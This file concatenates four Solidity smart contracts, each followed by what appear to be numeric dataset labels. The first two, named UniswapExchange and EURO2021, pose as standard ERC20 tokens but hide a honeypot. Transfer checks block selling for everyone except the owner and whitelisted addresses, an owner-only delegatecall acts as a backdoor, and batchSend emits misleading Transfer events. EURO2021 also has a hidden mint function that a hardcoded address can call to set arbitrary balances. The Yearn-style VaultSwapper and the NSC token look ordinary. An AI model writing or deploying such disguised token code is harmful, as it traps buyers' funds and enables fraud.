pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,772
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract EURO2021 { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,196
pragma solidity 0.8.6; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Registry { function get_pool_from_lp_token(address lp) external view returns (address); function get_lp_token(address pool) external view returns (address); function get_n_coins(address) external view returns (uint256[2] memory); function get_coins(address) external view returns (address[8] memory); } interface StableSwap { function remove_liquidity_one_coin( uint256 amount, int128 i, uint256 min_amount ) external; function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external; function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external; function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount) external; function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256); function calc_token_amount(uint256[2] calldata amounts, bool is_deposit) external view returns (uint256); function calc_token_amount(uint256[3] calldata amounts, bool is_deposit) external view returns (uint256); function calc_token_amount(uint256[4] calldata amounts, bool is_deposit) external view returns (uint256); } library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Vault is IERC20 { function decimals() external view returns (uint256); function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); } contract VaultSwapper { Registry constant registry = Registry(0x90E00ACe148ca3b23Ac1bC8C240C2a7Dd9c2d7f5); uint256 constant MIN_AMOUNT_OUT = 1; struct Swap { bool deposit; address pool; uint128 n; } function metapool_swap_with_signature( address from_vault, address to_vault, uint256 amount, uint256 min_amount_out, uint256 expiry, bytes calldata signature ) public { assert(Vault(from_vault).permit(msg.sender, address(this), amount, expiry, signature)); metapool_swap(from_vault, to_vault, amount, min_amount_out); } function metapool_swap( address from_vault, address to_vault, uint256 amount, uint256 min_amount_out ) public { address underlying = Vault(from_vault).token(); address target = Vault(to_vault).token(); address underlying_pool = registry.get_pool_from_lp_token(underlying); address target_pool = registry.get_pool_from_lp_token(target); Vault(from_vault).transferFrom(msg.sender, address(this), amount); uint256 underlying_amount = Vault(from_vault).withdraw( amount, address(this) ); StableSwap(underlying_pool).remove_liquidity_one_coin( underlying_amount, 1, 1 ); IERC20 underlying_coin = IERC20(registry.get_coins(underlying_pool)[1]); uint256 liquidity_amount = underlying_coin.balanceOf(address(this)); underlying_coin.approve(target_pool, liquidity_amount); StableSwap(target_pool).add_liquidity([0, liquidity_amount], MIN_AMOUNT_OUT); uint256 target_amount = IERC20(target).balanceOf(address(this)); approve(target, to_vault, target_amount); uint256 out = Vault(to_vault).deposit(target_amount, msg.sender); require(out >= min_amount_out, "out too low"); } function metapool_estimate_out( address from_vault, address to_vault, uint256 amount ) public view returns (uint256) { address underlying = Vault(from_vault).token(); address target = Vault(to_vault).token(); address underlying_pool = registry.get_pool_from_lp_token(underlying); address target_pool = registry.get_pool_from_lp_token(target); uint256 pricePerShareFrom = Vault(from_vault).pricePerShare(); uint256 pricePerShareTo = Vault(to_vault).pricePerShare(); uint256 amount_out = (pricePerShareFrom * amount) / (10**Vault(from_vault).decimals()); amount_out = StableSwap(underlying_pool).calc_withdraw_one_coin( amount_out, 1 ); amount_out = StableSwap(target_pool).calc_token_amount( [0, amount_out], true ); return (amount_out * (10**Vault(to_vault).decimals())) / pricePerShareTo; } function swap_with_signature( address from_vault, address to_vault, uint256 amount, uint256 min_amount_out, Swap[] calldata instructions, uint256 expiry, bytes calldata signature ) public { assert(Vault(from_vault).permit(msg.sender, address(this), amount, expiry, signature)); swap(from_vault, to_vault, amount, min_amount_out, instructions); } function swap( address from_vault, address to_vault, uint256 amount, uint256 min_amount_out, Swap[] calldata instructions ) public { address token = Vault(from_vault).token(); address target = Vault(to_vault).token(); Vault(from_vault).transferFrom(msg.sender, address(this), amount); amount = Vault(from_vault).withdraw(amount, address(this)); uint256 n_coins; for (uint256 i = 0; i < instructions.length; i++) { if (instructions[i].deposit) { n_coins = registry.get_n_coins(instructions[i].pool)[0]; uint256[] memory list = new uint256[](n_coins); list[instructions[i].n] = amount; approve(token, instructions[i].pool, amount); if (n_coins == 2) { StableSwap(instructions[i].pool).add_liquidity( [list[0], list[1]], 1 ); } else if (n_coins == 3) { StableSwap(instructions[i].pool).add_liquidity( [list[0], list[1], list[2]], 1 ); } else if (n_coins == 4) { StableSwap(instructions[i].pool).add_liquidity( [list[0], list[1], list[2], list[3]], 1 ); } token = registry.get_lp_token(instructions[i].pool); amount = IERC20(token).balanceOf(address(this)); } else { token = registry.get_coins(instructions[i].pool)[ instructions[i].n ]; amount = remove_liquidity_one_coin( token, instructions[i].pool, amount, instructions[i].n ); } } require(target == token, "!path"); approve(target, to_vault, amount); uint256 out = Vault(to_vault).deposit(amount, msg.sender); require(out >= min_amount_out, "out too low"); } function remove_liquidity_one_coin( address token, address pool, uint256 amount, uint128 n ) internal returns (uint256) { uint256 amountBefore = IERC20(token).balanceOf(address(this)); pool.call( abi.encodeWithSignature( "remove_liquidity_one_coin(uint256,int128,uint256)", amount, int128(n), 1 ) ); uint256 newAmount = IERC20(token).balanceOf(address(this)); if (newAmount > amountBefore) { return newAmount; } pool.call( abi.encodeWithSignature( "remove_liquidity_one_coin(uint256,uint256,uint256)", amount, uint256(n), 1 ) ); return IERC20(token).balanceOf(address(this)); } function estimate_out( address from_vault, address to_vault, uint256 amount, Swap[] calldata instructions ) public view returns (uint256) { uint256 pricePerShareFrom = Vault(from_vault).pricePerShare(); uint256 pricePerShareTo = Vault(to_vault).pricePerShare(); amount = (amount * pricePerShareFrom) / (10**Vault(from_vault).decimals()); for (uint256 i = 0; i < instructions.length; i++) { uint256 n_coins = registry.get_n_coins(instructions[i].pool)[0]; if (instructions[i].deposit) { n_coins = registry.get_n_coins(instructions[i].pool)[0]; uint256[] memory list = new uint256[](n_coins); list[instructions[i].n] = amount; if (n_coins == 2) { amount = StableSwap(instructions[i].pool).calc_token_amount( [list[0], list[1]], true ); } else if (n_coins == 3) { amount = StableSwap(instructions[i].pool).calc_token_amount( [list[0], list[1], list[2]], true ); } else if (n_coins == 4) { amount = StableSwap(instructions[i].pool).calc_token_amount( [list[0], list[1], list[2], list[3]], true ); } } else { amount = calc_withdraw_one_coin( instructions[i].pool, amount, instructions[i].n ); } } return (amount * (10**Vault(to_vault).decimals())) / pricePerShareTo; } function approve( address target, address to_vault, uint256 amount ) internal { if (IERC20(target).allowance(address(this), to_vault) < amount) { SafeERC20.safeApprove(IERC20(target), to_vault, 0); SafeERC20.safeApprove(IERC20(target), to_vault, type(uint256).max); } } function calc_withdraw_one_coin( address pool, uint256 amount, uint128 n ) internal view returns (uint256) { (bool success, bytes memory returnData) = pool.staticcall( abi.encodeWithSignature( "calc_withdraw_one_coin(uint256,uint256)", amount, uint256(n) ) ); if (success) { return abi.decode(returnData, (uint256)); } (success, returnData) = pool.staticcall( abi.encodeWithSignature( "calc_withdraw_one_coin(uint256,int128)", amount, int128(n) ) ); require(success, "!success"); return abi.decode(returnData, (uint256)); } }
0
1,878
pragma solidity ^0.4.18; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public onlyOwner { OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract NSCDistributionContract is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _initialDistribution; uint private _totalSupply; uint256 public unitsOneEthCanBuy; uint256 private totalEthInWei; address private fundsWallet; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function NSCDistributionContract() public { symbol = 'NSC'; name = 'NSC'; decimals = 18; _totalSupply = 500000000 * 10**uint(decimals); _initialDistribution = 1000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); unitsOneEthCanBuy = 692; fundsWallet = msg.sender; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function send(address[] receivers, uint[] values) public payable { for (uint i = 0; receivers.length > i; i++) { sendTokens(receivers[i], values[i]); } } function sendTokens (address receiver, uint token) public onlyOwner { require(balances[msg.sender] >= token); balances[msg.sender] -= token; balances[receiver] += token; Transfer(msg.sender, receiver, token); } function sendInitialTokens (address user) public onlyOwner { sendTokens(user, balanceOf(owner)); } }
0
620
